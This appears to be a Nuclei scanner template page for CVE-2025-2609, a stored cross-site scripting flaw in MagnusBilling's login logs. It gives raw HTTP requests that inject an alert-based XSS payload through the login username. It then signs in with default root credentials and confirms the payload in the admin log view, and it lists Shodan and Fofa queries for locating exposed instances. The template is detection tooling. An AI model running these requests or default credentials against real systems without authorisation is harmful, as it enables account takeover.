CVE-2025-2609: MagnusBilling Login Logs - Cross-Site Scripting
- Template: CVE-2025-2609
- Name: MagnusBilling Login Logs - Cross-Site Scripting
- Description: Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling login logging allows unauthenticated users to store HTML content in the viewable log component accessible at /mbilling/index.php/logUsers/read" cross-site scripting This vulnerability is associated with program files protected/components/MagnusLog.Php.This issue affects MagnusBilling- through 7.3.0.
- Impact: Unauthenticated attackers can inject malicious HTML and JavaScript into login logs that persist and execute when administrators view the log component, potentially leading to session hijacking and privilege escalation.
- Remediation: Upgrade to MagnusBilling version 7.3.1 or later that properly sanitizes input in the login logging component.
- Severity: high
- Authors: DhiyaneshDK
- Tags: cve, cve2025, mbilling, stored, xss, authenticated, vkev, vuln
- References: https://vulncheck.com/advisories/magnusbilling-logs-xss, https://chocapikk.com/posts/2025/magnusbilling/, https://nvd.nist.gov/vuln/detail/CVE-2025-2609
- Cves: CVE-2025-2609
- Verified: yes
- Max requests: 4
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-2609.yaml
- Digest: 4a0a00473045022014a3bbe87ff9c3cf5062fdf9ac07610aaf582b655cf16c3be4579b4cd84f82bd0221008736b65008fcfdb30b16138e2bb0aa32e1b98751ec9617db8040d4fa38db04a7
- Created at: 2025-05-23T08:21:40Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 550
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-2609.yaml
Classification
- Cwe: CWE-79
- Cvss score: 8.2
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
- Epss score: 0.01152
- Epss percentile: 0.67758
- Cpe: cpe:2.3:a:magnussolution:magnusbilling:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="MagnusBilling"
- Max-request: 4
- Product: magnusbilling
- Shodan-query: html:"MagnusBilling"
- Vendor: magnussolution
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| magnussolution:magnusbilling | yes | /v1/products/magnussolution/magnusbilling |
Labels
- Name: MagnusSolution MagnusBilling - Reflected XSS
- Impact: Attackers can inject malicious scripts into logs, leading to potential theft of user data or session hijacking.
- Remediation: Update to the latest version of MagnusBilling that addresses this vulnerability or sanitize inputs properly.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2025-2609
- Not known: requirements
```yaml
id: CVE-2025-2609
info:
name: MagnusBilling Login Logs - Cross-Site Scripting
author: DhiyaneshDK
severity: high
description: |
Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling login logging allows unauthenticated users to store HTML content in the viewable log component accessible at /mbilling/index.php/logUsers/read" cross-site scripting This vulnerability is associated with program files protected/components/MagnusLog.Php.This issue affects MagnusBilling- through 7.3.0.
impact: |
Unauthenticated attackers can inject malicious HTML and JavaScript into login logs that persist and execute when administrators view the log component, potentially leading to session hijacking and privilege escalation.
remediation: |
Upgrade to MagnusBilling version 7.3.1 or later that properly sanitizes input in the login logging component.
reference:
- https://vulncheck.com/advisories/magnusbilling-logs-xss
- https://chocapikk.com/posts/2025/magnusbilling/
- https://nvd.nist.gov/vuln/detail/CVE-2025-2609
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
cvss-score: 8.2
cve-id: CVE-2025-2609
cwe-id: CWE-79
epss-score: 0.01152
epss-percentile: 0.67758
cpe: cpe:2.3:a:magnussolution:magnusbilling:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: magnussolution
product: magnusbilling
shodan-query: html:"MagnusBilling"
fofa-query: body="MagnusBilling"
tags: cve,cve2025,mbilling,stored,xss,authenticated,vkev,vuln
flow: http(1) && http(2) && http(3) && http(4)
variables:
username: "root"
password: "9F4CA770B638615AC5C3E0D2DA16B77C80C2F2C6" # magnus
http:
- raw:
- |
POST /mbilling/index.php/authentication/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user=<img src=x onerror=alert(document.domain)>&password=random
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "combination is invalid")'
- '!contains(body, "Trying SQL inject")'
condition: and
internal: true
- raw:
- |
POST /mbilling/index.php/authentication/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;
user={{username}}&password={{password}}&key=
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "success")'
condition: and
internal: true
- raw:
- |
GET /mbilling/index.php/authentication/check?_dc= HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "id_agent")'
condition: and
internal: true
- raw:
- |
GET /mbilling/index.php/logUsers/read?_dc=&page=1&start=0&limit=25 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "User: <img src=x onerror=alert(document.domain)>")'
condition: and
digest: 4a0a00473045022014a3bbe87ff9c3cf5062fdf9ac07610aaf582b655cf16c3be4579b4cd84f82bd0221008736b65008fcfdb30b16138e2bb0aa32e1b98751ec9617db8040d4fa38db04a7:922c64590222798bb761d5b6d8e72950
```